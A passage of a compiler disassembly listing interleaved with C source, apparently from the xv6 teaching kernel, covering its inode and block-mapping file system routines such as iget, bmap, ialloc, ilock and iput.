e8 62 f1 ff ff call 80100390 <panic> 8010122e: 66 90 xchg %ax,%ax bp->data[bi/8] |= m; // Mark block in use. 80101230: 8b 7d e4 mov -0x1c(%ebp),%edi log_write(bp); 80101233: 83 ec 0c sub $0xc,%esp bp->data[bi/8] |= m; // Mark block in use. 80101236: 09 da or %ebx,%edx 80101238: 88 54 0f 5c mov %dl,0x5c(%edi,%ecx,1) log_write(bp); 8010123c: 57 push %edi 8010123d: e8 2e 1b 00 00 call 80102d70 <log_write> brelse(bp); 80101242: 89 3c 24 mov %edi,(%esp) 80101245: e8 96 ef ff ff call 801001e0 <brelse> bp = bread(dev, bno); 8010124a: 58 pop %eax 8010124b: 5a pop %edx 8010124c: 56 push %esi 8010124d: ff 75 d8 pushl -0x28(%ebp) 80101250: e8 7b ee ff ff call 801000d0 <bread> 80101255: 89 c3 mov %eax,%ebx memset(bp->data, 0, BSIZE); 80101257: 8d 40 5c lea 0x5c(%eax),%eax 8010125a: 83 c4 0c add $0xc,%esp 8010125d: 68 00 02 00 00 push $0x200 80101262: 6a 00 push $0x0 80101264: 50 push %eax 80101265: e8 f6 34 00 00 call 80104760 <memset> log_write(bp); 8010126a: 89 1c 24 mov %ebx,(%esp) 8010126d: e8 fe 1a 00 00 call 80102d70 <log_write> brelse(bp); 80101272: 89 1c 24 mov %ebx,(%esp) 80101275: e8 66 ef ff ff call 801001e0 <brelse> } 8010127a: 8d 65 f4 lea -0xc(%ebp),%esp 8010127d: 89 f0 mov %esi,%eax 8010127f: 5b pop %ebx 80101280: 5e pop %esi 80101281: 5f pop %edi 80101282: 5d pop %ebp 80101283: c3 ret 80101284: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010128a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80101290 <iget>: // Find the inode with number inum on device dev // and return the in-memory copy. Does not lock // the inode and does not read it from disk. static struct inode* iget(uint dev, uint inum) { 80101290: 55 push %ebp 80101291: 89 e5 mov %esp,%ebp 80101293: 57 push %edi 80101294: 56 push %esi 80101295: 53 push %ebx 80101296: 89 c7 mov %eax,%edi struct inode *ip, *empty; acquire(&icache.lock); // Is the inode already cached? empty = 0; 80101298: 31 f6 xor %esi,%esi for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 8010129a: bb 14 0a 11 80 mov $0x80110a14,%ebx { 8010129f: 83 ec 28 sub $0x28,%esp 801012a2: 89 55 e4 mov %edx,-0x1c(%ebp) acquire(&icache.lock); 801012a5: 68 e0 09 11 80 push $0x801109e0 801012aa: e8 a1 33 00 00 call 80104650 <acquire> 801012af: 83 c4 10 add $0x10,%esp for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 801012b2: 8b 55 e4 mov -0x1c(%ebp),%edx 801012b5: eb 17 jmp 801012ce <iget+0x3e> 801012b7: 89 f6 mov %esi,%esi 801012b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801012c0: 81 c3 90 00 00 00 add $0x90,%ebx 801012c6: 81 fb 34 26 11 80 cmp $0x80112634,%ebx 801012cc: 73 22 jae 801012f0 <iget+0x60> if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ 801012ce: 8b 4b 08 mov 0x8(%ebx),%ecx 801012d1: 85 c9 test %ecx,%ecx 801012d3: 7e 04 jle 801012d9 <iget+0x49> 801012d5: 39 3b cmp %edi,(%ebx) 801012d7: 74 4f je 80101328 <iget+0x98> ip->ref++; release(&icache.lock); return ip; } if(empty == 0 && ip->ref == 0) // Remember empty slot. 801012d9: 85 f6 test %esi,%esi 801012db: 75 e3 jne 801012c0 <iget+0x30> 801012dd: 85 c9 test %ecx,%ecx 801012df: 0f 44 f3 cmove %ebx,%esi for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 801012e2: 81 c3 90 00 00 00 add $0x90,%ebx 801012e8: 81 fb 34 26 11 80 cmp $0x80112634,%ebx 801012ee: 72 de jb 801012ce <iget+0x3e> empty = ip; } // Recycle an inode cache entry. if(empty == 0) 801012f0: 85 f6 test %esi,%esi 801012f2: 74 5b je 8010134f <iget+0xbf> ip = empty; ip->dev = dev; ip->inum = inum; ip->ref = 1; ip->valid = 0; release(&icache.lock); 801012f4: 83 ec 0c sub $0xc,%esp ip->dev = dev; 801012f7: 89 3e mov %edi,(%esi) ip->inum = inum; 801012f9: 89 56 04 mov %edx,0x4(%esi) ip->ref = 1; 801012fc: c7 46 08 01 00 00 00 movl $0x1,0x8(%esi) ip->valid = 0; 80101303: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi) release(&icache.lock); 8010130a: 68 e0 09 11 80 push $0x801109e0 8010130f: e8 fc 33 00 00 call 80104710 <release> return ip; 80101314: 83 c4 10 add $0x10,%esp } 80101317: 8d 65 f4 lea -0xc(%ebp),%esp 8010131a: 89 f0 mov %esi,%eax 8010131c: 5b pop %ebx 8010131d: 5e pop %esi 8010131e: 5f pop %edi 8010131f: 5d pop %ebp 80101320: c3 ret 80101321: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ 80101328: 39 53 04 cmp %edx,0x4(%ebx) 8010132b: 75 ac jne 801012d9 <iget+0x49> release(&icache.lock); 8010132d: 83 ec 0c sub $0xc,%esp ip->ref++; 80101330: 83 c1 01 add $0x1,%ecx return ip; 80101333: 89 de mov %ebx,%esi release(&icache.lock); 80101335: 68 e0 09 11 80 push $0x801109e0 ip->ref++; 8010133a: 89 4b 08 mov %ecx,0x8(%ebx) release(&icache.lock); 8010133d: e8 ce 33 00 00 call 80104710 <release> return ip; 80101342: 83 c4 10 add $0x10,%esp } 80101345: 8d 65 f4 lea -0xc(%ebp),%esp 80101348: 89 f0 mov %esi,%eax 8010134a: 5b pop %ebx 8010134b: 5e pop %esi 8010134c: 5f pop %edi 8010134d: 5d pop %ebp 8010134e: c3 ret panic("iget: no inodes"); 8010134f: 83 ec 0c sub $0xc,%esp 80101352: 68 c8 72 10 80 push $0x801072c8 80101357: e8 34 f0 ff ff call 80100390 <panic> 8010135c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101360 <bmap>: // Return the disk block address of the nth block in inode ip. // If there is no such block, bmap allocates one. static uint bmap(struct inode *ip, uint bn) { 80101360: 55 push %ebp 80101361: 89 e5 mov %esp,%ebp 80101363: 57 push %edi 80101364: 56 push %esi 80101365: 53 push %ebx 80101366: 89 c6 mov %eax,%esi 80101368: 83 ec 1c sub $0x1c,%esp uint addr, *a; struct buf *bp; if(bn < NDIRECT){ 8010136b: 83 fa 0b cmp $0xb,%edx 8010136e: 77 18 ja 80101388 <bmap+0x28> 80101370: 8d 3c 90 lea (%eax,%edx,4),%edi if((addr = ip->addrs[bn]) == 0) 80101373: 8b 5f 5c mov 0x5c(%edi),%ebx 80101376: 85 db test %ebx,%ebx 80101378: 74 76 je 801013f0 <bmap+0x90> brelse(bp); return addr; } panic("bmap: out of range"); } 8010137a: 8d 65 f4 lea -0xc(%ebp),%esp 8010137d: 89 d8 mov %ebx,%eax 8010137f: 5b pop %ebx 80101380: 5e pop %esi 80101381: 5f pop %edi 80101382: 5d pop %ebp 80101383: c3 ret 80101384: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bn -= NDIRECT; 80101388: 8d 5a f4 lea -0xc(%edx),%ebx if(bn < NINDIRECT){ 8010138b: 83 fb 7f cmp $0x7f,%ebx 8010138e: 0f 87 90 00 00 00 ja 80101424 <bmap+0xc4> if((addr = ip->addrs[NDIRECT]) == 0) 80101394: 8b 90 8c 00 00 00 mov 0x8c(%eax),%edx 8010139a: 8b 00 mov (%eax),%eax 8010139c: 85 d2 test %edx,%edx 8010139e: 74 70 je 80101410 <bmap+0xb0> bp = bread(ip->dev, addr); 801013a0: 83 ec 08 sub $0x8,%esp 801013a3: 52 push %edx 801013a4: 50 push %eax 801013a5: e8 26 ed ff ff call 801000d0 <bread> if((addr = a[bn]) == 0){ 801013aa: 8d 54 98 5c lea 0x5c(%eax,%ebx,4),%edx 801013ae: 83 c4 10 add $0x10,%esp bp = bread(ip->dev, addr); 801013b1: 89 c7 mov %eax,%edi if((addr = a[bn]) == 0){ 801013b3: 8b 1a mov (%edx),%ebx 801013b5: 85 db test %ebx,%ebx 801013b7: 75 1d jne 801013d6 <bmap+0x76> a[bn] = addr = balloc(ip->dev); 801013b9: 8b 06 mov (%esi),%eax 801013bb: 89 55 e4 mov %edx,-0x1c(%ebp) 801013be: e8 bd fd ff ff call 80101180 <balloc> 801013c3: 8b 55 e4 mov -0x1c(%ebp),%edx log_write(bp); 801013c6: 83 ec 0c sub $0xc,%esp a[bn] = addr = balloc(ip->dev); 801013c9: 89 c3 mov %eax,%ebx 801013cb: 89 02 mov %eax,(%edx) log_write(bp); 801013cd: 57 push %edi 801013ce: e8 9d 19 00 00 call 80102d70 <log_write> 801013d3: 83 c4 10 add $0x10,%esp brelse(bp); 801013d6: 83 ec 0c sub $0xc,%esp 801013d9: 57 push %edi 801013da: e8 01 ee ff ff call 801001e0 <brelse> 801013df: 83 c4 10 add $0x10,%esp } 801013e2: 8d 65 f4 lea -0xc(%ebp),%esp 801013e5: 89 d8 mov %ebx,%eax 801013e7: 5b pop %ebx 801013e8: 5e pop %esi 801013e9: 5f pop %edi 801013ea: 5d pop %ebp 801013eb: c3 ret 801013ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi ip->addrs[bn] = addr = balloc(ip->dev); 801013f0: 8b 00 mov (%eax),%eax 801013f2: e8 89 fd ff ff call 80101180 <balloc> 801013f7: 89 47 5c mov %eax,0x5c(%edi) } 801013fa: 8d 65 f4 lea -0xc(%ebp),%esp ip->addrs[bn] = addr = balloc(ip->dev); 801013fd: 89 c3 mov %eax,%ebx } 801013ff: 89 d8 mov %ebx,%eax 80101401: 5b pop %ebx 80101402: 5e pop %esi 80101403: 5f pop %edi 80101404: 5d pop %ebp 80101405: c3 ret 80101406: 8d 76 00 lea 0x0(%esi),%esi 80101409: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi ip->addrs[NDIRECT] = addr = balloc(ip->dev); 80101410: e8 6b fd ff ff call 80101180 <balloc> 80101415: 89 c2 mov %eax,%edx 80101417: 89 86 8c 00 00 00 mov %eax,0x8c(%esi) 8010141d: 8b 06 mov (%esi),%eax 8010141f: e9 7c ff ff ff jmp 801013a0 <bmap+0x40> panic("bmap: out of range"); 80101424: 83 ec 0c sub $0xc,%esp 80101427: 68 d8 72 10 80 push $0x801072d8 8010142c: e8 5f ef ff ff call 80100390 <panic> 80101431: eb 0d jmp 80101440 <readsb> 80101433: 90 nop 80101434: 90 nop 80101435: 90 nop 80101436: 90 nop 80101437: 90 nop 80101438: 90 nop 80101439: 90 nop 8010143a: 90 nop 8010143b: 90 nop 8010143c: 90 nop 8010143d: 90 nop 8010143e: 90 nop 8010143f: 90 nop 80101440 <readsb>: { 80101440: 55 push %ebp 80101441: 89 e5 mov %esp,%ebp 80101443: 56 push %esi 80101444: 53 push %ebx 80101445: 8b 75 0c mov 0xc(%ebp),%esi bp = bread(dev, 1); 80101448: 83 ec 08 sub $0x8,%esp 8010144b: 6a 01 push $0x1 8010144d: ff 75 08 pushl 0x8(%ebp) 80101450: e8 7b ec ff ff call 801000d0 <bread> 80101455: 89 c3 mov %eax,%ebx memmove(sb, bp->data, sizeof(*sb)); 80101457: 8d 40 5c lea 0x5c(%eax),%eax 8010145a: 83 c4 0c add $0xc,%esp 8010145d: 6a 1c push $0x1c 8010145f: 50 push %eax 80101460: 56 push %esi 80101461: e8 aa 33 00 00 call 80104810 <memmove> brelse(bp); 80101466: 89 5d 08 mov %ebx,0x8(%ebp) 80101469: 83 c4 10 add $0x10,%esp } 8010146c: 8d 65 f8 lea -0x8(%ebp),%esp 8010146f: 5b pop %ebx 80101470: 5e pop %esi 80101471: 5d pop %ebp brelse(bp); 80101472: e9 69 ed ff ff jmp 801001e0 <brelse> 80101477: 89 f6 mov %esi,%esi 80101479: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101480 <iinit>: { 80101480: 55 push %ebp 80101481: 89 e5 mov %esp,%ebp 80101483: 53 push %ebx 80101484: bb 20 0a 11 80 mov $0x80110a20,%ebx 80101489: 83 ec 0c sub $0xc,%esp initlock(&icache.lock, "icache"); 8010148c: 68 eb 72 10 80 push $0x801072eb 80101491: 68 e0 09 11 80 push $0x801109e0 80101496: e8 75 30 00 00 call 80104510 <initlock> 8010149b: 83 c4 10 add $0x10,%esp 8010149e: 66 90 xchg %ax,%ax initsleeplock(&icache.inode[i].lock, "inode"); 801014a0: 83 ec 08 sub $0x8,%esp 801014a3: 68 f2 72 10 80 push $0x801072f2 801014a8: 53 push %ebx 801014a9: 81 c3 90 00 00 00 add $0x90,%ebx 801014af: e8 2c 2f 00 00 call 801043e0 <initsleeplock> for(i = 0; i < NINODE; i++) { 801014b4: 83 c4 10 add $0x10,%esp 801014b7: 81 fb 40 26 11 80 cmp $0x80112640,%ebx 801014bd: 75 e1 jne 801014a0 <iinit+0x20> readsb(dev, &sb); 801014bf: 83 ec 08 sub $0x8,%esp 801014c2: 68 c0 09 11 80 push $0x801109c0 801014c7: ff 75 08 pushl 0x8(%ebp) 801014ca: e8 71 ff ff ff call 80101440 <readsb> cprintf("sb: size %d nblocks %d ninodes %d nlog %d logstart %d\ 801014cf: ff 35 d8 09 11 80 pushl 0x801109d8 801014d5: ff 35 d4 09 11 80 pushl 0x801109d4 801014db: ff 35 d0 09 11 80 pushl 0x801109d0 801014e1: ff 35 cc 09 11 80 pushl 0x801109cc 801014e7: ff 35 c8 09 11 80 pushl 0x801109c8 801014ed: ff 35 c4 09 11 80 pushl 0x801109c4 801014f3: ff 35 c0 09 11 80 pushl 0x801109c0 801014f9: 68 58 73 10 80 push $0x80107358 801014fe: e8 5d f1 ff ff call 80100660 <cprintf> } 80101503: 83 c4 30 add $0x30,%esp 80101506: 8b 5d fc mov -0x4(%ebp),%ebx 80101509: c9 leave 8010150a: c3 ret 8010150b: 90 nop 8010150c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101510 <ialloc>: { 80101510: 55 push %ebp 80101511: 89 e5 mov %esp,%ebp 80101513: 57 push %edi 80101514: 56 push %esi 80101515: 53 push %ebx 80101516: 83 ec 1c sub $0x1c,%esp for(inum = 1; inum < sb.ninodes; inum++){ 80101519: 83 3d c8 09 11 80 01 cmpl $0x1,0x801109c8 { 80101520: 8b 45 0c mov 0xc(%ebp),%eax 80101523: 8b 75 08 mov 0x8(%ebp),%esi 80101526: 89 45 e4 mov %eax,-0x1c(%ebp) for(inum = 1; inum < sb.ninodes; inum++){ 80101529: 0f 86 91 00 00 00 jbe 801015c0 <ialloc+0xb0> 8010152f: bb 01 00 00 00 mov $0x1,%ebx 80101534: eb 21 jmp 80101557 <ialloc+0x47> 80101536: 8d 76 00 lea 0x0(%esi),%esi 80101539: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi brelse(bp); 80101540: 83 ec 0c sub $0xc,%esp for(inum = 1; inum < sb.ninodes; inum++){ 80101543: 83 c3 01 add $0x1,%ebx brelse(bp); 80101546: 57 push %edi 80101547: e8 94 ec ff ff call 801001e0 <brelse> for(inum = 1; inum < sb.ninodes; inum++){ 8010154c: 83 c4 10 add $0x10,%esp 8010154f: 39 1d c8 09 11 80 cmp %ebx,0x801109c8 80101555: 76 69 jbe 801015c0 <ialloc+0xb0> bp = bread(dev, IBLOCK(inum, sb)); 80101557: 89 d8 mov %ebx,%eax 80101559: 83 ec 08 sub $0x8,%esp 8010155c: c1 e8 03 shr $0x3,%eax 8010155f: 03 05 d4 09 11 80 add 0x801109d4,%eax 80101565: 50 push %eax 80101566: 56 push %esi 80101567: e8 64 eb ff ff call 801000d0 <bread> 8010156c: 89 c7 mov %eax,%edi dip = (struct dinode*)bp->data + inum%IPB; 8010156e: 89 d8 mov %ebx,%eax if(dip->type == 0){ // a free inode 80101570: 83 c4 10 add $0x10,%esp dip = (struct dinode*)bp->data + inum%IPB; 80101573: 83 e0 07 and $0x7,%eax 80101576: c1 e0 06 shl $0x6,%eax 80101579: 8d 4c 07 5c lea 0x5c(%edi,%eax,1),%ecx if(dip->type == 0){ // a free inode 8010157d: 66 83 39 00 cmpw $0x0,(%ecx) 80101581: 75 bd jne 80101540 <ialloc+0x30> memset(dip, 0, sizeof(*dip)); 80101583: 83 ec 04 sub $0x4,%esp 80101586: 89 4d e0 mov %ecx,-0x20(%ebp) 80101589: 6a 40 push $0x40 8010158b: 6a 00 push $0x0 8010158d: 51 push %ecx 8010158e: e8 cd 31 00 00 call 80104760 <memset> dip->type = type; 80101593: 0f b7 45 e4 movzwl -0x1c(%ebp),%eax 80101597: 8b 4d e0 mov -0x20(%ebp),%ecx 8010159a: 66 89 01 mov %ax,(%ecx) log_write(bp); // mark it allocated on the disk 8010159d: 89 3c 24 mov %edi,(%esp) 801015a0: e8 cb 17 00 00 call 80102d70 <log_write> brelse(bp); 801015a5: 89 3c 24 mov %edi,(%esp) 801015a8: e8 33 ec ff ff call 801001e0 <brelse> return iget(dev, inum); 801015ad: 83 c4 10 add $0x10,%esp } 801015b0: 8d 65 f4 lea -0xc(%ebp),%esp return iget(dev, inum); 801015b3: 89 da mov %ebx,%edx 801015b5: 89 f0 mov %esi,%eax } 801015b7: 5b pop %ebx 801015b8: 5e pop %esi 801015b9: 5f pop %edi 801015ba: 5d pop %ebp return iget(dev, inum); 801015bb: e9 d0 fc ff ff jmp 80101290 <iget> panic("ialloc: no inodes"); 801015c0: 83 ec 0c sub $0xc,%esp 801015c3: 68 f8 72 10 80 push $0x801072f8 801015c8: e8 c3 ed ff ff call 80100390 <panic> 801015cd: 8d 76 00 lea 0x0(%esi),%esi 801015d0 <iupdate>: { 801015d0: 55 push %ebp 801015d1: 89 e5 mov %esp,%ebp 801015d3: 56 push %esi 801015d4: 53 push %ebx 801015d5: 8b 5d 08 mov 0x8(%ebp),%ebx bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801015d8: 83 ec 08 sub $0x8,%esp 801015db: 8b 43 04 mov 0x4(%ebx),%eax memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 801015de: 83 c3 5c add $0x5c,%ebx bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801015e1: c1 e8 03 shr $0x3,%eax 801015e4: 03 05 d4 09 11 80 add 0x801109d4,%eax 801015ea: 50 push %eax 801015eb: ff 73 a4 pushl -0x5c(%ebx) 801015ee: e8 dd ea ff ff call 801000d0 <bread> 801015f3: 89 c6 mov %eax,%esi dip = (struct dinode*)bp->data + ip->inum%IPB; 801015f5: 8b 43 a8 mov -0x58(%ebx),%eax dip->type = ip->type; 801015f8: 0f b7 53 f4 movzwl -0xc(%ebx),%edx memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 801015fc: 83 c4 0c add $0xc,%esp dip = (struct dinode*)bp->data + ip->inum%IPB; 801015ff: 83 e0 07 and $0x7,%eax 80101602: c1 e0 06 shl $0x6,%eax 80101605: 8d 44 06 5c lea 0x5c(%esi,%eax,1),%eax dip->type = ip->type; 80101609: 66 89 10 mov %dx,(%eax) dip->major = ip->major; 8010160c: 0f b7 53 f6 movzwl -0xa(%ebx),%edx memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 80101610: 83 c0 0c add $0xc,%eax dip->major = ip->major; 80101613: 66 89 50 f6 mov %dx,-0xa(%eax) dip->minor = ip->minor; 80101617: 0f b7 53 f8 movzwl -0x8(%ebx),%edx 8010161b: 66 89 50 f8 mov %dx,-0x8(%eax) dip->nlink = ip->nlink; 8010161f: 0f b7 53 fa movzwl -0x6(%ebx),%edx 80101623: 66 89 50 fa mov %dx,-0x6(%eax) dip->size = ip->size; 80101627: 8b 53 fc mov -0x4(%ebx),%edx 8010162a: 89 50 fc mov %edx,-0x4(%eax) memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 8010162d: 6a 34 push $0x34 8010162f: 53 push %ebx 80101630: 50 push %eax 80101631: e8 da 31 00 00 call 80104810 <memmove> log_write(bp); 80101636: 89 34 24 mov %esi,(%esp) 80101639: e8 32 17 00 00 call 80102d70 <log_write> brelse(bp); 8010163e: 89 75 08 mov %esi,0x8(%ebp) 80101641: 83 c4 10 add $0x10,%esp } 80101644: 8d 65 f8 lea -0x8(%ebp),%esp 80101647: 5b pop %ebx 80101648: 5e pop %esi 80101649: 5d pop %ebp brelse(bp); 8010164a: e9 91 eb ff ff jmp 801001e0 <brelse> 8010164f: 90 nop 80101650 <idup>: { 80101650: 55 push %ebp 80101651: 89 e5 mov %esp,%ebp 80101653: 53 push %ebx 80101654: 83 ec 10 sub $0x10,%esp 80101657: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&icache.lock); 8010165a: 68 e0 09 11 80 push $0x801109e0 8010165f: e8 ec 2f 00 00 call 80104650 <acquire> ip->ref++; 80101664: 83 43 08 01 addl $0x1,0x8(%ebx) release(&icache.lock); 80101668: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 8010166f: e8 9c 30 00 00 call 80104710 <release> } 80101674: 89 d8 mov %ebx,%eax 80101676: 8b 5d fc mov -0x4(%ebp),%ebx 80101679: c9 leave 8010167a: c3 ret 8010167b: 90 nop 8010167c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101680 <ilock>: { 80101680: 55 push %ebp 80101681: 89 e5 mov %esp,%ebp 80101683: 56 push %esi 80101684: 53 push %ebx 80101685: 8b 5d 08 mov 0x8(%ebp),%ebx if(ip == 0 || ip->ref < 1) 80101688: 85 db test %ebx,%ebx 8010168a: 0f 84 b7 00 00 00 je 80101747 <ilock+0xc7> 80101690: 8b 53 08 mov 0x8(%ebx),%edx 80101693: 85 d2 test %edx,%edx 80101695: 0f 8e ac 00 00 00 jle 80101747 <ilock+0xc7> acquiresleep(&ip->lock); 8010169b: 8d 43 0c lea 0xc(%ebx),%eax 8010169e: 83 ec 0c sub $0xc,%esp 801016a1: 50 push %eax 801016a2: e8 79 2d 00 00 call 80104420 <acquiresleep> if(ip->valid == 0){ 801016a7: 8b 43 4c mov 0x4c(%ebx),%eax 801016aa: 83 c4 10 add $0x10,%esp 801016ad: 85 c0 test %eax,%eax 801016af: 74 0f je 801016c0 <ilock+0x40> } 801016b1: 8d 65 f8 lea -0x8(%ebp),%esp 801016b4: 5b pop %ebx 801016b5: 5e pop %esi 801016b6: 5d pop %ebp 801016b7: c3 ret 801016b8: 90 nop 801016b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801016c0: 8b 43 04 mov 0x4(%ebx),%eax 801016c3: 83 ec 08 sub $0x8,%esp 801016c6: c1 e8 03 shr $0x3,%eax 801016c9: 03 05 d4 09 11 80 add 0x801109d4,%eax 801016cf: 50 push %eax 801016d0: ff 33 pushl (%ebx) 801016d2: e8 f9 e9 ff ff call 801000d0 <bread> 801016d7: 89 c6 mov %eax,%esi dip = (struct dinode*)bp->data + ip->inum%IPB; 801016d9: 8b 43 04 mov 0x4(%ebx),%eax memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 801016dc: 83 c4 0c add $0xc,%esp dip = (struct dinode*)bp->data + ip->inum%IPB; 801016df: 83 e0 07 and $0x7,%eax 801016e2: c1 e0 06 shl $0x6,%eax 801016e5: 8d 44 06 5c lea 0x5c(%esi,%eax,1),%eax ip->type = dip->type; 801016e9: 0f b7 10 movzwl (%eax),%edx memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 801016ec: 83 c0 0c add $0xc,%eax ip->type = dip->type; 801016ef: 66 89 53 50 mov %dx,0x50(%ebx) ip->major = dip->major; 801016f3: 0f b7 50 f6 movzwl -0xa(%eax),%edx 801016f7: 66 89 53 52 mov %dx,0x52(%ebx) ip->minor = dip->minor; 801016fb: 0f b7 50 f8 movzwl -0x8(%eax),%edx 801016ff: 66 89 53 54 mov %dx,0x54(%ebx) ip->nlink = dip->nlink; 80101703: 0f b7 50 fa movzwl -0x6(%eax),%edx 80101707: 66 89 53 56 mov %dx,0x56(%ebx) ip->size = dip->size; 8010170b: 8b 50 fc mov -0x4(%eax),%edx 8010170e: 89 53 58 mov %edx,0x58(%ebx) memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 80101711: 6a 34 push $0x34 80101713: 50 push %eax 80101714: 8d 43 5c lea 0x5c(%ebx),%eax 80101717: 50 push %eax 80101718: e8 f3 30 00 00 call 80104810 <memmove> brelse(bp); 8010171d: 89 34 24 mov %esi,(%esp) 80101720: e8 bb ea ff ff call 801001e0 <brelse> if(ip->type == 0) 80101725: 83 c4 10 add $0x10,%esp 80101728: 66 83 7b 50 00 cmpw $0x0,0x50(%ebx) ip->valid = 1; 8010172d: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx) if(ip->type == 0) 80101734: 0f 85 77 ff ff ff jne 801016b1 <ilock+0x31> panic("ilock: no type"); 8010173a: 83 ec 0c sub $0xc,%esp 8010173d: 68 10 73 10 80 push $0x80107310 80101742: e8 49 ec ff ff call 80100390 <panic> panic("ilock"); 80101747: 83 ec 0c sub $0xc,%esp 8010174a: 68 0a 73 10 80 push $0x8010730a 8010174f: e8 3c ec ff ff call 80100390 <panic> 80101754: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010175a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80101760 <iunlock>: { 80101760: 55 push %ebp 80101761: 89 e5 mov %esp,%ebp 80101763: 56 push %esi 80101764: 53 push %ebx 80101765: 8b 5d 08 mov 0x8(%ebp),%ebx if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1) 80101768: 85 db test %ebx,%ebx 8010176a: 74 28 je 80101794 <iunlock+0x34> 8010176c: 8d 73 0c lea 0xc(%ebx),%esi 8010176f: 83 ec 0c sub $0xc,%esp 80101772: 56 push %esi 80101773: e8 48 2d 00 00 call 801044c0 <holdingsleep> 80101778: 83 c4 10 add $0x10,%esp 8010177b: 85 c0 test %eax,%eax 8010177d: 74 15 je 80101794 <iunlock+0x34> 8010177f: 8b 43 08 mov 0x8(%ebx),%eax 80101782: 85 c0 test %eax,%eax 80101784: 7e 0e jle 80101794 <iunlock+0x34> releasesleep(&ip->lock); 80101786: 89 75 08 mov %esi,0x8(%ebp) } 80101789: 8d 65 f8 lea -0x8(%ebp),%esp 8010178c: 5b pop %ebx 8010178d: 5e pop %esi 8010178e: 5d pop %ebp releasesleep(&ip->lock); 8010178f: e9 ec 2c 00 00 jmp 80104480 <releasesleep> panic("iunlock"); 80101794: 83 ec 0c sub $0xc,%esp 80101797: 68 1f 73 10 80 push $0x8010731f 8010179c: e8 ef eb ff ff call 80100390 <panic> 801017a1: eb 0d jmp 801017b0 <iput> 801017a3: 90 nop 801017a4: 90 nop 801017a5: 90 nop 801017a6: 90 nop 801017a7: 90 nop 801017a8: 90 nop 801017a9: 90 nop 801017aa: 90 nop 801017ab: 90 nop 801017ac: 90 nop 801017ad: 90 nop 801017ae: 90 nop 801017af: 90 nop 801017b0 <iput>: { 801017b0: 55 push %ebp 801017b1: 89 e5 mov %esp,%ebp 801017b3: 57 push %edi 801017b4: 56 push %esi 801017b5: 53 push %ebx 801017b6: 83 ec 28 sub $0x28,%esp 801017b9: 8b 5d 08 mov 0x8(%ebp),%ebx acquiresleep(&ip->lock); 801017bc: 8d 7b 0c lea 0xc(%ebx),%edi 801017bf: 57 push %edi 801017c0: e8 5b 2c 00 00 call 80104420 <acquiresleep> if(ip->valid && ip->nlink == 0){ 801017c5: 8b 53 4c mov 0x4c(%ebx),%edx 801017c8: 83 c4 10 add $0x10,%esp 801017cb: 85 d2 test %edx,%edx 801017cd: 74 07 je 801017d6 <iput+0x26> 801017cf: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx) 801017d4: 74 32 je 80101808 <iput+0x58> releasesleep(&ip->lock); 801017d6: 83 ec 0c sub $0xc,%esp 801017d9: 57 push %edi 801017da: e8 a1 2c 00 00 call 80104480 <releasesleep> acquire(&icache.lock); 801017df: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 801017e6: e8 65 2e 00 00 call 80104650 <acquire> ip->ref--; 801017eb: 83 6b 08 01 subl $0x1,0x8(%ebx) release(&icache.lock); 801017ef: 83 c4 10 add $0x10,%esp 801017f2: c7 45 08 e0 09 11 80 movl $0x801109e0,0x8(%ebp) } 801017f9: 8d 65 f4 lea -0xc(%ebp),%esp 801017fc: 5b pop %ebx 801017fd: 5e pop %esi 801017fe: 5f pop %edi 801017ff: 5d pop %ebp release(&icache.lock); 80101800: e9 0b 2f 00 00 jmp 80104710 <release> 80101805: 8d 76 00 lea 0x0(%esi),%esi acquire(&icache.lock); 80101808: 83 ec 0c sub $0xc,%esp 8010180b: 68 e0 09 11 80 push $0x801109e0 80101810: e8 3b 2e 00 00 call 80104650 <acquire> int r = ip->ref; 80101815: 8b 73 08 mov 0x8(%ebx),%esi release(&icache.lock); 80101818: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 8010181f: e8 ec 2e 00 00 call 80104710 <release> if(r == 1){ 80101824: 83 c4 10 add $0x10,%esp 80101827: 83 fe 01 cmp $0x1,%esi 8010182a: 75 aa jne 801017d6 <iput+0x26> 8010182c: 8d 8b 8c 00 00 00 lea 0x8c(%ebx),%ecx 80101832: 89 7d e4 mov %edi,-0x1c(%ebp) 80101835: 8d 73 5c lea 0x5c(%ebx),%esi 80101838: 89 cf mov %ecx,%edi 8010183a: eb 0b jmp 80101847 <iput+0x97> 8010183c: 8d 74 26 00 lea 